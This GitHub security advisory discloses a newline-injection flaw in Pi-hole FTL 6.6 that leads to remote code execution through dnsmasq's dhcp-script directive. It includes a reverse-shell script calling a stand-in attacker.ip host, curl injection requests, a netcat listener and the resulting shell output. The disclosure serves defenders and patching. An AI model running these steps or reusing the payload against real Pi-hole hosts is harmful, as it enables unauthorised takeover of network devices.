Newline Injection → RCE via dnsmasq dhcp-script

High **PromoFaux** published **GHSA-9cqv-839p-gpq2** 2 weeks ago

Package

pihole-ftl

Affected versions

6.6

Patched versions

>=v6.6.1

Description

Summary

The `dns.interface` configuration field in Pi-hole FTL accepts newline characters without validation, allowing an attacker to inject arbitrary directives into the generated dnsmasq configuration file. On installations with no admin password set (the default for many deployments), the API is fully accessible without credentials. By injecting a `dhcp-script=` directive and enabling DHCP, an attacker can achieve arbitrary command execution on the Pi-hole host the next time any device on the network requests a DHCP lease.

This was tested against Pi-hole FTL v6.6 running on a Raspberry Pi.

```
pihole-FTL --version
v6.6
```

Component: `src/config/config.c`, `src/config/dnsmasq_config.c`, `src/api/auth.c`

CVSS 4.0

8.7 (High) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Root Cause

File: `src/config/config.c:532`

```
{ "dns.interface", ..., validate_stub, ... }
```

The `dns.interface` field is assigned `validate_stub` as its validator:

File: `src/config/validator.c:20-23`

```
bool validate_stub(...)
{
    return true;
}
```

`validate_stub` accepts any value unconditionally — including strings containing newline characters (`\n`). The value is then written verbatim into the generated dnsmasq config:

File: `src/config/dnsmasq_config.c:474`

```
char interface[MAXIFACESTRLEN];
strncpy(interface, conf->dns.interface.v.s, sizeof(interface) - 1);
// ...
fprintf(pihole_conf, "interface=%s\n", interface);
```

The `strncpy` caps the value at `MAXIFACESTRLEN - 1 = 31` bytes. Any injected directive must fit within this budget alongside the interface name prefix.

All API endpoints — including `PATCH /api/config` — are accessible without credentials on a default password-less Pi-hole.

Exploit Setup

Pi-hole FTL v6.6 running on Raspberry Pi at `raspberrypi.ip`. Attacker machine at `attacker.ip` on the same network.

Reverse shell script pre-positioned on the Pi-hole host at `/tmp/p`:

```
#!/bin/bash
bash -i >& /dev/tcp/attacker.ip/9876 0>&1
```

Exploitation Steps

Step 1 — Enable Pi-hole's built-in DHCP server:

```
curl -s -X PATCH http://raspberrypi.ip/api/config \
  -H "Content-Type: application/json" \
  -d '{"config":{"dhcp":{"active":true,"start":"10.0.0.200","end":"10.0.0.210","router":
```

Step 2 — Inject `dhcp-script=` directive via newline injection in `dns.interface`:

```
curl -s -X PATCH http://raspberrypi.ip/api/config \
  -H "Content-Type: application/json" \
  -d '{"config":{"dns":{"interface":"wlan0\ndhcp-script=/tmp/p"}}}'
```

FTL detects the config change and automatically restarts dnsmasq. The generated `/etc/pihole/dnsmasq.conf` now contains:

```
# Listen on one interface
interface=wlan0
dhcp-script=/tmp/p
```

Step 3 — Start listener on attacker machine:

```
nc -l 9876
```

Step 4 — Trigger a DHCP lease event (any device on the network requesting DHCP is sufficient; the attacker can force their own renewal):

```
sudo /usr/sbin/ipconfig set en0 DHCP
```

dnsmasq handles the DHCP handshake and executes `/tmp/p` for each lease event.

Step 5 — Reverse shell received:

```
nc -l 9876
bash: cannot set terminal process group (3749302): Inappropriate ioctl for device
bash: no job control in this shell
pihole@raspberrypi:/$ exit
```

DHCP log confirming lease assignment to attacker's device:

```
Apr  4 11:56:13 dnsmasq-dhcp[3749302]: DHCPACK(wlan0) attacker.ip a0:9a:8e:08:10:c
Anuraags-Air
```

Payload Length Constraint

`MAXIFACESTRLEN = 32` (31 usable bytes after `strncpy`). With `wlan0\n` consuming 6 bytes, the injected directive has 25 bytes available. `dhcp-script=/tmp/p` is 19 bytes — it fits. The previous advisory-referenced `leasefile-ro` technique (which triggers the script at dnsmasq startup without needing a live DHCP client) requires an additional 13 bytes and cannot be combined with a `wlan0` interface name within this limit.

FTL 6.6 Validation Bypass

FTL 6.6 introduced dnsmasq config validation — it writes a `.temp` config and runs dnsmasq against it before applying. This only catches **syntactically invalid** directives. The injection still succeeds with a valid payload:

```
curl -s -X PATCH http://<pihole>/api/config \
  -H "Content-Type: application/json" \
  -d '{"config":{"dns":{"interface":"wlan0\ndhcp-script=/tmp/p"}}}'
```

`dhcp-script=/tmp/p` is syntactically valid dnsmasq config — the validation passes and the directive is applied. The underlying newline injection (missing `validate_str_no_newline` on `dns.interface`) remains unpatched.

Impact

An attacker with network access to a Pi-hole can:

- Inject arbitrary dnsmasq directives into the running DNS/DHCP server configuration
- Achieve remote code execution on the Pi-hole host by injecting `dhcp-script=` and waiting for any DHCP lease event on the network
- Persist across restarts — the injected value is written to `/etc/pihole/pihole.toml`

Severity

High 8.7 / 10

CVSS v4 base metrics

Exploitability Metrics

Attack Vector	Network
Attack Complexity	Low
Attack Requirements	None
Privileges Required	Low
User interaction	None
Vulnerable System Impact Metrics	
Confidentiality	High
Integrity	High
Availability	High
Subsequent System Impact Metrics	
Confidentiality	None
Integrity	None
Availability	None

Learn more about base metrics

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2026-39849

Weaknesses

▶ CWE-78

Credits

anuraagbaishya Reporter